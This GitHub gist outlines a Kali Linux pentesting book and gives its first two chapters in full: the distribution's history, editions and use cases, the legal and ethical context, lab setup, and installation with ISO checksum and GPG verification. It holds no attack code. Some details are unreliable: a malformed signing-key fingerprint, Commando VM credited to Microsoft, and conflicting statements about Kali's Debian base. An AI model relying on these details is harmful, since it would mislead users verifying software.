Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Created February 21, 2026 18:37
Show Gist options
  • Select an option

  • Save aw-junaid/ae4d93f4a6b7d5e657e92315bcfa005c to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/ae4d93f4a6b7d5e657e92315bcfa005c to your computer and use it in GitHub Desktop.

Kali Linux Professional: From Foundations to Advanced Offensive Security

PART I — FOUNDATIONS OF KALI LINUX

Chapter 1 — Introduction to Kali Linux

  • History of Kali Linux
  • Evolution from BackTrack
  • Philosophy and Design Principles
  • Kali Linux vs Other Security Distributions
  • Kali Linux Editions and Architectures
  • Use Cases: Pentesting, Red Teaming, Forensics, Research
  • Legal and Ethical Considerations
  • Setting Up a Lab Environment

Chapter 2 — Installing Kali Linux

  • System Requirements

  • Downloading from Offensive Security

  • Verifying ISO Integrity (SHA256, GPG)

  • Installation Methods:

    • Bare Metal
    • Dual Boot
    • Encrypted Install
    • LVM Setup
  • Installing on:

    • VirtualBox
    • VMware Workstation
    • Proxmox VE
  • Live USB & Persistence

  • ARM Installation (Raspberry Pi)

  • Post-Installation Configuration


Chapter 3 — Linux Fundamentals for Security Professionals

  • Linux File System Hierarchy
  • Users, Groups & Permissions
  • File Permissions & ACLs
  • Process Management
  • Package Management (APT & DPKG)
  • Networking Basics in Linux
  • Bash Shell Mastery
  • SSH Configuration & Hardening

Chapter 4 — Kali Linux Architecture

  • Debian Base and Rolling Release Model
  • Package Repositories
  • Metapackages
  • Kali Tool Categories
  • Kernel Customizations
  • Security Policies
  • System Logging & Monitoring

PART II — CORE LINUX & SHELL MASTERY

Chapter 5 — Bash and Shell Scripting

  • Shell Fundamentals
  • Variables & Environment
  • Loops & Conditionals
  • Functions
  • Error Handling
  • Automating Recon
  • Writing Custom Enumeration Scripts
  • Building Security Tool Wrappers

Chapter 6 — Advanced Linux Administration

  • System Hardening
  • Firewall Configuration (iptables, nftables)
  • Service Management (systemd)
  • Log Analysis
  • Cron Jobs & Automation
  • SELinux & AppArmor
  • Kernel Tuning

Chapter 7 — Networking Deep Dive

  • TCP/IP Stack Internals
  • Subnetting & CIDR
  • DNS Internals
  • DHCP
  • ARP Mechanics
  • VLANs
  • IPv6
  • Packet Analysis Fundamentals

PART III — INFORMATION GATHERING & RECONNAISSANCE

Chapter 8 — Passive Reconnaissance

  • OSINT Methodology
  • WHOIS Enumeration
  • DNS Enumeration
  • Email Harvesting
  • Subdomain Discovery
  • Social Media Intelligence
  • Metadata Analysis
  • Google Dorking

Chapter 9 — Active Reconnaissance

  • Network Discovery
  • Port Scanning
  • Service Detection
  • Banner Grabbing
  • OS Fingerprinting
  • Vulnerability Scanning

Tools Covered:

  • Nmap
  • Masscan
  • Amass
  • theHarvester

PART IV — VULNERABILITY ANALYSIS

Chapter 10 — Vulnerability Assessment Methodology

  • CVSS Framework
  • Risk Scoring
  • Reporting Standards
  • False Positive Handling

Chapter 11 — Vulnerability Scanners

  • Configuration & Tuning
  • Authenticated Scanning
  • Scan Optimization
  • Report Analysis

Tools:

  • OpenVAS
  • Nessus

PART V — WEB APPLICATION SECURITY

Chapter 12 — Web Fundamentals

  • HTTP/HTTPS Internals
  • Cookies & Sessions
  • REST APIs
  • Authentication Models
  • JWT

Chapter 13 — Web Vulnerabilities

  • SQL Injection
  • XSS
  • CSRF
  • SSRF
  • IDOR
  • File Upload Attacks
  • Command Injection
  • Template Injection
  • Authentication Bypass

Chapter 14 — Web Exploitation Tools

  • Burp Suite
  • OWASP ZAP
  • SQLmap
  • Gobuster
  • Dirsearch

PART VI — EXPLOITATION

Chapter 15 — Exploit Development Basics

  • Buffer Overflows
  • Stack vs Heap
  • Shellcode Basics
  • Return Oriented Programming
  • Bypassing ASLR & DEP

Chapter 16 — Metasploit Framework

  • Architecture
  • Modules
  • Payloads
  • Encoders
  • Post Modules
  • Writing Custom Modules

Tool:

  • Metasploit Framework

Chapter 17 — Manual Exploitation Techniques

  • Exploit Research
  • CVE Reproduction
  • Privilege Escalation (Linux)
  • Privilege Escalation (Windows)
  • Password Attacks

Tools:

  • Hydra
  • John the Ripper
  • Hashcat

PART VII — WIRELESS & NETWORK ATTACKS

Chapter 18 — Wireless Security

  • 802.11 Protocols
  • WPA2/WPA3
  • Capturing Handshakes
  • Evil Twin Attacks
  • Deauthentication

Tool:

  • Aircrack-ng

Chapter 19 — Network Attacks

  • ARP Spoofing
  • DNS Spoofing
  • MITM
  • SMB Attacks
  • NTLM Relay

Tool:

  • Wireshark

PART VIII — POST-EXPLOITATION

Chapter 20 — Maintaining Access

  • Persistence Techniques
  • Reverse Shells
  • Pivoting & Tunneling
  • Lateral Movement
  • Credential Dumping

Chapter 21 — Red Team Operations

  • Command & Control
  • OPSEC
  • Evasion Techniques
  • Living Off the Land
  • Detection Bypass

PART IX — DIGITAL FORENSICS

Chapter 22 — Forensics Fundamentals

  • Evidence Handling
  • Chain of Custody
  • Disk Imaging
  • Memory Analysis

Chapter 23 — Forensics Tools

  • Autopsy
  • Volatility

PART X — REVERSE ENGINEERING & MALWARE ANALYSIS

Chapter 24 — Reverse Engineering Basics

  • Assembly Language
  • Static Analysis
  • Dynamic Analysis
  • Debugging

Tools:

  • Ghidra
  • Radare2

Chapter 25 — Malware Analysis Lab

  • Sandbox Setup
  • Behavioral Analysis
  • Packing & Obfuscation
  • Indicators of Compromise

PART XI — CLOUD & CONTAINER SECURITY

Chapter 26 — Cloud Security Testing

  • AWS Enumeration
  • Azure Misconfigurations
  • GCP Attacks

Chapter 27 — Container Security

  • Docker Enumeration
  • Kubernetes Exploitation
  • Escape Techniques

PART XII — PROFESSIONAL PRACTICE

Chapter 28 — Reporting & Documentation

  • Executive Summary Writing
  • Technical Reporting
  • Remediation Guidance
  • Risk Communication

Chapter 29 — Certifications & Career

  • Offensive Security Certifications
  • OSCP Preparation
  • Red Team Career Path
  • Building a Lab Portfolio

APPENDICES

  • Kali Tool Index (300+ tools categorized)
  • Common Linux Commands Cheat Sheet
  • Privilege Escalation Checklist
  • Web Testing Checklist
  • Wireless Testing Checklist
  • Reporting Templates
  • Glossary
  • CVE Research Guide
  • Lab Exercises & Scenarios
  • Real-World Case Studies

PART I — FOUNDATIONS OF KALI LINUX

Chapter 1 — Introduction to Kali Linux

1.1 The Genesis of Kali Linux

Kali Linux, developed and maintained by Offensive Security, represents the culmination of over a decade of evolution in the penetration testing distribution space. To truly understand Kali Linux, we must first explore its rich history and the philosophical foundations that make it the industry standard for security professionals worldwide.

1.1.1 History of Kali Linux

The story of Kali Linux begins with its predecessor, BackTrack Linux. BackTrack was formed in 2006 through the merger of three prominent security-focused distributions: WHAX (formerly Whoppix), Auditor Security Collection, and SLAX. Each of these distributions brought unique strengths to the table:

Whoppix (WhiteHat Knoppix) was one of the first live CD distributions focused on security auditing. Based on Knoppix, it provided a portable environment for penetration testers who needed to conduct assessments without installing software on their host systems.

Auditor Security Collection, developed by Max Moser, focused on providing a comprehensive collection of security tools with particular emphasis on wireless security testing. Its user-friendly approach made security testing more accessible to newcomers.

SLAX contributed the modular architecture that would later become crucial for BackTrack's success. Its ability to load modules dynamically allowed for greater flexibility in tool deployment.

The merger created BackTrack, which would go through five major versions between 2006 and 2012. Each version refined the user experience and expanded the toolset:

  • BackTrack 1 (2006): The initial release focused on stability and tool integration
  • BackTrack 2 (2007): Introduced improved hardware support and additional wireless drivers
  • BackTrack 3 (2008): Brought significant kernel updates and the introduction of the GNOME desktop environment
  • BackTrack 4 (2009): Major architectural overhaul based on Ubuntu, improved package management
  • BackTrack 5 (2011): Final release before Kali, introduced both GNOME and KDE versions, added support for ARM devices

1.1.2 Evolution from BackTrack to Kali

The transition from BackTrack to Kali Linux in March 2013 represented more than just a rebranding effort. It was a complete reimagining of what a penetration testing distribution should be. Mati Aharoni (muts) and Devon Kearns (dookie), core developers of BackTrack, recognized several fundamental limitations in BackTrack's architecture:

Debian Foundation: While BackTrack was based on Ubuntu, Kali switched to Debian's stable branch. This decision provided several advantages:

  • Greater stability due to Debian's rigorous testing process
  • Better alignment with enterprise environments that often run Debian-based systems
  • Access to Debian's vast package repositories
  • More predictable release cycles

Filesystem Hierarchy Standard (FHS) Compliance: BackTrack had developed a custom directory structure that sometimes confused users familiar with standard Linux layouts. Kali adopted full FHS compliance, making it more intuitive for experienced Linux users.

Single User Root by Default: Kali introduced the controversial but security-conscious decision to operate as root by default. This design choice acknowledged that penetration testing tools often require elevated privileges, and constantly using sudo would impede workflow. However, this decision also emphasized that Kali should only be used in controlled environments.

Custom Kernel with Wireless Injection Patches: Kali's kernel included patches for wireless injection that weren't available in the mainline kernel. This was crucial for wireless penetration testing but required users to understand the legal implications of using such capabilities.

1.2 Philosophy and Design Principles

Kali Linux is built upon a set of core principles that guide every aspect of its development and usage:

1.2.1 Single User Root Philosophy

The decision to operate as root by default wasn't made lightly. It stems from practical considerations in penetration testing:

  • Many security tools require raw socket access, which necessitates root privileges
  • Network interface manipulation for monitoring mode requires elevated permissions
  • Access to system files and processes during exploitation and post-exploitation phases
  • Streamlined workflow without constant authentication prompts

However, this design choice comes with important caveats:

  • Users must understand they're operating with full system privileges
  • Mistakes can have catastrophic consequences
  • The system should never be used for everyday tasks like browsing or email
  • Network services are disabled by default to reduce attack surface

1.2.2 Tool Integration and Organization

Kali's approach to tool integration reflects deep understanding of penetration testing workflows:

Tool Categorization: Tools are organized not just by name, but by their role in the penetration testing lifecycle. The Kali menu structure mirrors the typical phases of an assessment:

  • Information Gathering
  • Vulnerability Analysis
  • Web Application Analysis
  • Database Assessment
  • Password Attacks
  • Wireless Attacks
  • Reverse Engineering
  • Exploitation Tools
  • Sniffing & Spoofing
  • Post Exploitation
  • Forensics
  • Reporting Tools

Metapackages: Rather than forcing users to install every tool, Kali uses metapackages to group related tools. This allows users to install only what they need while maintaining dependencies. Key metapackages include:

  • kali-linux-headless: For server installations without GUI
  • kali-linux-large: Extended toolset for comprehensive assessments
  • kali-linux-full: Complete toolset including all tools
  • kali-linux-wireless: All wireless testing tools
  • kali-linux-web: Web application testing tools
  • kali-linux-pwt: Password cracking tools
  • kali-linux-forensic: Digital forensics tools

1.2.3 Rolling Release Model

Kali adopted a rolling release model based on Debian Testing for compelling reasons:

Tool Currency: Security tools evolve rapidly, with new exploits and techniques emerging constantly. A rolling release ensures users have access to the latest versions without waiting for distribution upgrades.

Immediate Updates: When critical vulnerabilities are discovered or new exploitation techniques emerge, updates can be pushed immediately rather than waiting for scheduled releases.

Balance of Stability and Freshness: By tracking Debian Testing rather than Unstable, Kali maintains reasonable stability while keeping packages current. Critical system components undergo additional testing before inclusion.

1.3 Kali Linux vs Other Security Distributions

Understanding Kali's position in the security distribution ecosystem helps users make informed choices about their tools:

1.3.1 Parrot Security OS

Parrot, based on Debian Testing like Kali, offers an alternative approach:

Key Differences:

  • Default non-root operation (more secure for daily use)
  • Lighter resource footprint
  • Stronger focus on anonymity and privacy tools
  • Built-in Tor and I2P integration
  • More comprehensive forensics capabilities
  • Regular release cycle vs Kali's rolling releases

Use Cases: Parrot excels in situations where the testing system might be used for other purposes, or where operational security requires non-default configurations.

1.3.2 BlackArch

BlackArch takes a different approach entirely, building upon Arch Linux:

Key Characteristics:

  • Massive tool repository (over 2500 tools)
  • True rolling release with absolutely latest versions
  • Arch Linux's DIY philosophy requires more manual configuration
  • Smaller user community but extremely knowledgeable
  • Can be installed as additional repository on existing Arch

Use Cases: Ideal for experienced Linux users who want absolute control and the latest tools, willing to invest time in configuration.

1.3.3 Pentoo

Pentoo builds upon Gentoo Linux:

Key Features:

  • Source-based distribution with maximum optimization
  • Hardened kernel with PaX and grsecurity
  • Extreme customizability
  • Steep learning curve
  • Excellent performance on specific hardware

Use Cases: Performance-critical applications where hardware optimization matters more than ease of use.

1.3.4 Commando VM

Microsoft's Windows-based security distribution:

Key Characteristics:

  • Windows environment for testing Windows-specific scenarios
  • Pre-configured with tools that run natively on Windows
  • Integration with Windows administrative tools
  • PowerShell-centric workflow
  • Limited to Windows ecosystems

Use Cases: Assessments targeting Windows environments exclusively, or when Windows-specific tools are required.

1.4 Kali Linux Editions and Architectures

Kali's flexibility extends to multiple editions designed for different use cases:

1.4.1 Standard Edition

The flagship edition provides a complete desktop environment with all tools pre-installed:

Desktop Environments:

  • Xfce (default since 2020): Lightweight and fast
  • GNOME: Traditional full-featured desktop
  • KDE Plasma: Modern, customizable interface
  • MATE: Classic desktop experience
  • LXDE: Ultra-lightweight option

Architecture Support:

  • 64-bit (amd64): Primary platform
  • 32-bit (i386): Legacy system support
  • ARM: Embedded and mobile devices

1.4.2 Kali Linux Light

Designed for resource-constrained environments:

Optimizations:

  • Minimal window manager (Openbox)
  • Only essential tools pre-installed
  • Reduced RAM footprint
  • Faster boot times
  • Ideal for virtual machines with limited resources

1.4.3 Kali Linux ARM

Comprehensive ARM support distinguishes Kali from competitors:

Supported Platforms:

  • Raspberry Pi (all models)
  • BeagleBone Black
  • Odroid
  • CuBox
  • Chromebooks
  • Samsung ARM Chromebook
  • NVIDIA Jetson
  • Pine64
  • Galaxy Note devices
  • Various Android phones (via chroot)

Special Considerations:

  • Optimized kernels for each platform
  • Hardware-specific drivers
  • Power management configurations
  • GPIO support for hardware hacking

1.4.4 Kali Linux NetHunter

Mobile penetration testing platform for Android devices:

Core Components:

  • Custom kernel with wireless injection
  • Kali chroot environment
  • NetHunter app for attack management
  • HID attacks (keyboard emulation)
  • BadUSB attacks
  • MANA Evil Access Point
  • Bluetooth attacks
  • SDR support

Hardware Requirements:

  • Rooted Android device
  • Custom kernel support
  • External wireless adapter support
  • OTG cable for external devices

1.4.5 Kali Linux on Windows Subsystem for Linux (WSL)

Recent addition enabling Kali on Windows:

Capabilities:

  • Full Kali toolset on Windows 10/11
  • Integration with Windows filesystem
  • GUI application support (WSLg)
  • No dual-boot or VM overhead
  • Limited hardware access (no raw wireless)

1.5 Use Cases: Pentesting, Red Teaming, Forensics, Research

Understanding Kali's various applications helps users leverage the right tools for their specific needs:

1.5.1 Penetration Testing (Ethical Hacking)

The primary use case for Kali involves authorized security assessments:

Typical Engagement Phases:

  1. Reconnaissance: Gathering information about targets using OSINT and active scanning
  2. Scanning: Identifying open ports, services, and vulnerabilities
  3. Exploitation: Gaining unauthorized access through identified vulnerabilities
  4. Post-Exploitation: Maintaining access, gathering intelligence, pivoting
  5. Reporting: Documenting findings and remediation recommendations

Tool Categories Used:

  • Reconnaissance: Nmap, Maltego, theHarvester
  • Vulnerability Analysis: OpenVAS, Nikto, WPScan
  • Exploitation: Metasploit, BeEF, SQLmap
  • Post-Exploitation: Mimikatz, PowerShell Empire

1.5.2 Red Teaming

Advanced adversarial simulation focusing on evading detection:

Key Differences from Pentesting:

  • No advance warning to defenders
  • Focus on stealth and evasion
  • Emphasis on custom tooling and TTPs
  • Testing detection and response capabilities
  • Longer engagement duration

Specialized Tools:

  • C2 Frameworks: Cobalt Strike, Covenant, Mythic
  • Evasion: Veil, Shellter, PEzor
  • Privilege Escalation: LinPEAS, WinPEAS
  • Lateral Movement: CrackMapExec, Impacket

1.5.3 Digital Forensics

Kali includes extensive forensics capabilities:

Forensics Features:

  • Bootable forensics mode (no automount)
  • Write-blocking utilities
  • Disk imaging tools (dd, dc3dd, guymager)
  • File carving tools (foremost, scalpel)
  • Memory analysis (Volatility, Rekall)
  • Timeline analysis (sleuthkit, autopsy)

Forensics Workflow:

  1. Acquisition: Creating forensically sound images
  2. Analysis: Examining file systems and artifacts
  3. Recovery: Carving deleted files
  4. Reporting: Documenting findings for legal proceedings

1.5.4 Security Research

Kali provides an excellent platform for security research:

Research Areas:

  • Vulnerability research and exploit development
  • Malware analysis and reverse engineering
  • Protocol analysis and fuzzing
  • Hardware security research
  • Cryptographic analysis

Research-Oriented Tools:

  • Reverse Engineering: Ghidra, Radare2, GDB
  • Fuzzing: AFL, Radamsa, Boofuzz
  • Binary Analysis: Binwalk, Capstone, Angr
  • Hardware Tools: HackRF, RTL-SDR, Logic analyzers

1.6 Legal and Ethical Considerations

Understanding the legal framework surrounding penetration testing is crucial for every Kali user:

1.6.1 Legal Framework

Authorization Requirements:

  • Written authorization from system owners
  • Clearly defined scope and limitations
  • Rules of engagement documentation
  • Insurance and liability considerations
  • Compliance with local, national, and international laws

Relevant Laws:

  • Computer Fraud and Abuse Act (CFAA) - USA
  • Computer Misuse Act - UK
  • Cybersecurity Law - China
  • GDPR - EU (data protection)
  • Various state and local computer crime laws

Industry Regulations:

  • PCI DSS for payment card environments
  • HIPAA for healthcare data
  • GLBA for financial institutions
  • SOX for publicly traded companies
  • FISMA for government systems

1.6.2 Professional Ethics

Beyond legal requirements, ethical considerations guide professional conduct:

Core Ethical Principles:

  • Do no harm to systems or data
  • Maintain confidentiality of findings
  • Act within authorized scope only
  • Report all findings honestly
  • Protect client data and privacy
  • Maintain professional competence

Professional Organizations and Codes:

  • (ISC)² Code of Ethics
  • ISACA Code of Professional Ethics
  • EC-Council Code of Ethics
  • OWASP Principles
  • SANS Institute Ethics

1.6.3 Responsible Disclosure

When vulnerabilities are discovered, responsible disclosure protects users:

Disclosure Process:

  1. Verify the vulnerability exists
  2. Contact the vendor privately
  3. Allow reasonable time for fixes
  4. Coordinate public disclosure
  5. Provide clear remediation guidance
  6. Avoid publishing exploit code until patches are available

Disclosure Timeframes:

  • 30-45 days typical for active vendors
  • 45-90 days for complex fixes
  • Immediate disclosure for actively exploited zero-days
  • Extended timeframes for critical infrastructure

1.7 Setting Up a Lab Environment

A proper lab environment is essential for learning and practicing Kali Linux safely:

1.7.1 Lab Design Considerations

Network Architecture:

  • Isolated network segments
  • Multiple subnets for practice scenarios
  • Firewall rules between segments
  • Internet access control
  • Monitoring and logging infrastructure

Target Systems:

  • Various operating systems (Windows, Linux, macOS)
  • Different versions and patch levels
  • Vulnerable applications intentionally
  • Network services (web, database, mail)
  • Active Directory domains
  • Cloud environments

Safety Measures:

  • Network isolation from production
  • Snapshots for quick recovery
  • Regular backups of configurations
  • Documented network topology
  • Clean-up procedures

1.7.2 Virtual Lab Platforms

VMware Workstation/Player:

  • Professional-grade virtualization
  • Excellent networking capabilities
  • Snapshot functionality
  • Clone and template support
  • 3D acceleration for GUI systems

VirtualBox:

  • Free and open-source
  • Cross-platform compatibility
  • Good for beginners
  • Adequate for most scenarios
  • Weaker performance than VMware

Proxmox VE:

  • Enterprise-grade virtualization
  • Web-based management
  • Container support (LXC)
  • Clustering capabilities
  • Backup and restore features

Docker and Containers:

  • Lightweight environments
  • Fast deployment
  • Perfect for service simulation
  • Limited to Linux-based targets
  • No GUI by default

1.7.3 Hardware Lab Options

Physical Hardware:

  • Multiple computers or servers
  • Network equipment (switches, routers)
  • Wireless access points
  • IoT devices
  • Embedded systems

Advantages of Physical Labs:

  • Real-world hardware behavior
  • No virtualization overhead
  • Physical interfaces available
  • Wireless testing possibilities
  • Hardware hacking opportunities

Disadvantages:

  • Higher cost
  • Space requirements
  • Power consumption
  • Physical maintenance
  • Difficult to reset/restore

1.7.4 Cloud-Based Labs

AWS Options:

  • EC2 instances for targets
  • VPC for network isolation
  • AMI images for quick deployment
  • Auto-scaling for large scenarios
  • Cost based on usage

Azure Lab Services:

  • Managed lab environments
  • Template-based deployment
  • User management
  • Cost tracking
  • Integration with Active Directory

DigitalOcean:

  • Simple droplet deployment
  • Affordable pricing
  • Fast provisioning
  • API-driven automation
  • Limited isolation options

1.7.5 Vulnerable Target Options

Purpose-Built Vulnerable VMs:

  • Metasploitable 2 and 3
  • OWASP Broken Web Applications
  • VulnHub machines
  • HackTheBox machines
  • PentesterLab challenges

Vulnerable Web Applications:

  • Damn Vulnerable Web Application (DVWA)
  • WebGoat and WebWolf
  • bWAPP
  • Mutillidae
  • Hackazon

Active Directory Labs:

  • BadBlood (automated AD lab)
  • DetectionLab
  • GOAD (Game of Active Directory)
  • Automated AD lab scripts
  • Custom domain controllers

1.7.6 Sample Lab Setup: Comprehensive Practice Environment

Network: 192.168.56.0/24 (Host-Only)
├── Kali Linux (Attacker)
│   └── IP: 192.168.56.10
├── Target Network 1
│   ├── Ubuntu Server (Web)
│   │   └── IP: 192.168.56.20
│   ├── Windows 10 (Workstation)
│   │   └── IP: 192.168.56.30
│   └── Metasploitable 3
│       └── IP: 192.168.56.40
└── Target Network 2 (NAT)
    ├── pfSense Firewall
    │   └── WAN: 192.168.56.254, LAN: 10.0.0.254
    └── Internal Network 10.0.0.0/24
        ├── Windows Server 2019 (DC)
        │   └── IP: 10.0.0.10
        └── Windows 10 Domain Member
            └── IP: 10.0.0.20

Chapter 2 — Installing Kali Linux

2.1 System Requirements

Before installing Kali Linux, it's essential to understand the hardware requirements and ensure your system meets the necessary specifications for your intended use case.

2.1.1 Minimum Requirements

For a basic installation with minimal functionality:

Processor:

  • Intel Core i3 or equivalent AMD
  • Minimum: 1 GHz
  • Recommended: 2 GHz dual-core or better

Memory (RAM):

  • Minimum: 2 GB
  • Recommended: 4 GB for basic usage
  • For heavy multitasking: 8 GB or more
  • For virtual machines: Allocate at least 2-4 GB

Storage:

  • Minimum: 20 GB hard disk space
  • Recommended: 40 GB or more
  • For full installation: 60 GB+
  • For forensic work: Additional storage for images

Graphics:

  • VGA capable of 1024×768 resolution
  • Recommended: 1920×1080 or higher
  • 3D acceleration optional (not required)

2.1.2 Recommended Requirements for Different Use Cases

Professional Penetration Tester:

  • Processor: Intel Core i7 or AMD Ryzen 7
  • RAM: 16 GB minimum, 32 GB recommended
  • Storage: 500 GB SSD + 1 TB HDD for data
  • Graphics: Dedicated GPU optional

Red Team Operator:

  • Processor: Intel Core i9 or AMD Ryzen 9
  • RAM: 32 GB minimum, 64 GB recommended
  • Storage: 1 TB NVMe SSD
  • Graphics: Dedicated GPU for hash cracking

Forensics Analyst:

  • Processor: High core count (8+ cores)
  • RAM: 32 GB minimum, 64 GB recommended
  • Storage: Multiple drives for evidence
  • Graphics: Not critical

Malware Analyst:

  • Processor: Intel Core i7 or better
  • RAM: 16 GB minimum, 32 GB recommended
  • Storage: 500 GB SSD + external storage
  • Graphics: Optional

2.1.3 Special Hardware Considerations

Wireless Adapters:

  • Chipset with monitor mode support
  • Packet injection capability
  • External USB adapters often preferred
  • Common supported chipsets:
    • Atheros AR9271
    • Ralink RT3070
    • Realtek RTL8812AU
    • Intel (limited support for injection)

External GPUs for Password Cracking:

  • NVIDIA CUDA support preferred
  • AMD OpenCL support
  • Multiple GPU configurations
  • Adequate cooling and power supply

USB 3.0 Controllers:

  • For external storage
  • For wireless adapters
  • For forensic acquisitions

2.2 Downloading from Offensive Security

Obtaining Kali Linux requires downloading from official sources to ensure integrity and security.

2.2.1 Official Download Sources

Primary Download Methods:

  1. Official Website: https://www.kali.org/get-kali/

    • Direct downloads
    • Torrent links
    • Network installers
    • ARM images
  2. Mirror Network:

  3. BitTorrent:

    • Distributed download
    • Built-in integrity checking
    • Reduces server load
    • Faster for popular releases

2.2.2 Download Options

ISO Image Types:

  1. Kali Linux Installer Image:

    • Full installation capability
    • Includes all tools
    • Multiple desktop environments
    • Size: ~3-4 GB
    • Use for permanent installations
  2. Kali Linux Live Image:

    • Boot without installing
    • Persistence capability
    • Same toolset as installer
    • Size: ~3-4 GB
    • Use for testing and temporary use
  3. Kali Linux NetInstaller:

    • Minimal base image
    • Downloads packages during install
    • Smaller initial download (~500 MB)
    • Requires internet connection
    • Customizable installation
  4. Kali Linux ARM Images:

    • Device-specific images
    • Pre-configured for hardware
    • Various sizes based on device
    • Includes hardware-specific optimizations

2.2.3 Choosing the Right Image

Selection Criteria:

  • Purpose: Permanent install vs live boot
  • Internet Access: NetInstaller vs full ISO
  • Desktop Environment: Xfce, GNOME, KDE, etc.
  • Architecture: 64-bit, 32-bit, ARM
  • Hardware Compatibility: Legacy systems may need 32-bit
  • Language and Keyboard: Regional requirements

2.3 Verifying ISO Integrity

Security-conscious users must verify downloaded ISO files to ensure they haven't been tampered with.

2.3.1 SHA256 Verification

Why SHA256 Matters:

  • Ensures file hasn't been corrupted during download
  • Verifies file matches official release
  • Detects accidental corruption
  • Prevents use of modified ISOs

Verification Process:

Linux/Mac:

# Calculate SHA256 of downloaded file
sha256sum kali-linux-2024.1-installer-amd64.iso

# Compare with official checksum file
cat SHA256SUMS
grep kali-linux-2024.1-installer-amd64.iso SHA256SUMS

Windows:

# Using PowerShell
Get-FileHash .\kali-linux-2024.1-installer-amd64.iso -Algorithm SHA256

# Compare with published checksum

2.3.2 GPG Signature Verification

For maximum security, verify the GPG signature of the checksum file:

Step-by-Step GPG Verification:

  1. Download the necessary files:
wget https://kali.org/kali-images/current/SHA256SUMS
wget https://kali.org/kali-images/current/SHA256SUMS.gpg
  1. Import Kali's GPG key:
# Download and import Kali signing key
wget -q -O - https://archive.kali.org/archive-key.asc | gpg --import

# Or from keyserver
gpg --keyserver hkps://keys.openpgp.org --recv-key 44C6513A8E4FB3B30875F75844C6513A8E4FB3B3
  1. Verify the signature:
gpg --verify SHA256SUMS.gpg SHA256SUMS
  1. Verify ISO against checksums:
sha256sum -c SHA256SUMS 2>&1 | grep OK

Expected Output:

gpg: Good signature from "Kali Linux Repository <devel@kali.org>"
kali-linux-2024.1-installer-amd64.iso: OK

2.3.3 Understanding Verification Failures

Common Issues and Solutions:

  • Checksum mismatch: File corrupted, download again
  • GPG key missing: Import correct key
  • Signature expired: Key may need refresh
  • Untrusted key: Verify key fingerprint manually

2.4 Installation Methods

Kali Linux offers multiple installation methods to suit different requirements and scenarios.

2.4.1 Bare Metal Installation

Installing Kali as the primary operating system on physical hardware:

Pre-Installation Checklist:

  • Backup all important data
  • Verify hardware compatibility
  • Have installation media ready
  • Ensure power source stable
  • Document current system configuration
  • Test boot from installation media

Installation Process:

  1. Boot from Installation Media:

    • Insert USB/DVD
    • Configure BIOS/UEFI to boot from media
    • Select "Graphical Install" or "Install"
  2. Language and Location:

    • Select language
    • Choose location for timezone
    • Configure keyboard layout
  3. Network Configuration:

    • Automatic DHCP detection
    • Manual configuration if needed
    • Hostname assignment
    • Domain name (optional)
  4. User Accounts:

    • Root password setup
    • Regular user account (optional)
    • Consider security implications
  5. Disk Partitioning:

    • Guided - use entire disk
    • Guided - use entire disk with LVM
    • Guided - use entire disk with encrypted LVM
    • Manual partitioning
  6. Software Selection:

    • Desktop environments
    • Collection of tools
    • Additional software
  7. Install Bootloader:

    • GRUB installation
    • UEFI vs Legacy BIOS
    • Multiple boot options

2.4.2 Dual Boot Installation

Running Kali alongside existing operating systems:

Considerations Before Dual Booting:

  • Available disk space (minimum 40 GB recommended)
  • Backup existing system
  • Understand boot manager configuration
  • Consider UEFI vs Legacy boot modes
  • Secure Boot compatibility

Partitioning Strategy:

Existing Windows Installation:
- C:\ (Windows): 200 GB
- D:\ (Data): 300 GB
- Free Space: 100 GB for Kali

Partition Layout for Kali:
- /boot: 500 MB (ext4)
- /: 50 GB (ext4)
- /home: 45 GB (ext4)
- swap: 4 GB (for 16 GB RAM)

Installation Steps:

  1. Prepare Windows:

    • Defragment drive
    • Shrink existing partition
    • Disable fast startup
    • Disable secure boot temporarily
  2. Boot Kali Installer:

    • Choose "Install" from boot menu
    • Proceed through initial steps
    • At partitioning, select "Manual"
  3. Create Partitions:

    • Create partition in free space
    • Assign mount points
    • Set filesystem types
  4. Install Bootloader:

    • GRUB will detect Windows
    • Add to boot menu
    • Test boot options
  5. Post-Installation:

    • Configure GRUB timeout
    • Set default OS
    • Update GRUB if needed

2.4.3 Encrypted Installation

Full disk encryption protects data if the system is lost or stolen:

Encryption Options:

  1. LUKS Full Disk Encryption:

    • Encrypts entire disk except /boot
    • Passphrase required at boot
    • Strong AES encryption
    • Multiple key slots
  2. Encrypted LVM:

    • LVM on top of LUKS
    • Flexible volume management
    • Snapshots and resizing
    • Multiple logical volumes
  3. Home Directory Encryption:

    • Encrypt only /home
    • Faster boot
    • User-specific encryption
    • eCryptfs or LUKS

LUKS Encryption Process:

During installation, select "Guided - use entire disk with encrypted LVM":

Step 1: Create encrypted volume
- Choose disk for encryption
- Set encryption passphrase (strongly recommended)

Step 2: LVM configuration
- Volume group name
- Logical volumes:
  - root (/) - 40 GB
  - home (/home) - remaining space
  - swap - RAM size

Step 3: Format and install
- Filesystem creation
- Installation proceeds normally
- Encryption unlocks at boot

Important Considerations:

  • Remember the passphrase (irrecoverable if lost)
  • /boot partition remains unencrypted
  • Performance impact minimal with AES-NI
  • Suspend-to-disk requires special configuration

2.4.4 LVM Setup

Logical Volume Manager provides flexible storage management:

LVM Advantages:

  • Resize volumes dynamically
  • Snapshots for backup
  • Volume striping for performance
  • Easy addition of new disks
  • Volume mirroring

LVM Components:

  • Physical Volumes (PV): Actual disks/partitions
  • Volume Groups (VG): Pool of storage
  • Logical Volumes (LV): Virtual partitions
  • Physical Extents (PE): Allocation units

Sample LVM Layout:

# Physical layout
/dev/sda1 -> /boot (500 MB)
/dev/sda2 -> LVM PV (rest of disk)

# Volume Group
vg_kali (entire /dev/sda2)

# Logical Volumes
/dev/vg_kali/root     -> 40 GB (/) 
/dev/vg_kali/home     -> 50 GB (/home)
/dev/vg_kali/var      -> 20 GB (/var)
/dev/vg_kali/tmp      -> 10 GB (/tmp)
/dev/vg_kali/swap     -> 8 GB (swap)

LVM Commands for Management:

# List physical volumes
pvdisplay

# List volume groups
vgdisplay

# List logical volumes
lvdisplay

# Extend logical volume
lvextend -L +10G /dev/vg_kali/home
resize2fs /dev/vg_kali/home

# Create snapshot
lvcreate -L 5G -s -n home_snap /dev/vg_kali/home

2.5 Installing on Virtualization Platforms

Virtual installation offers flexibility and safety for learning and testing.

2.5.1 VirtualBox Installation

Preparation:

  1. Download and Install VirtualBox:

  2. Create New Virtual Machine:

Name: Kali Linux
Type: Linux
Version: Debian (64-bit)
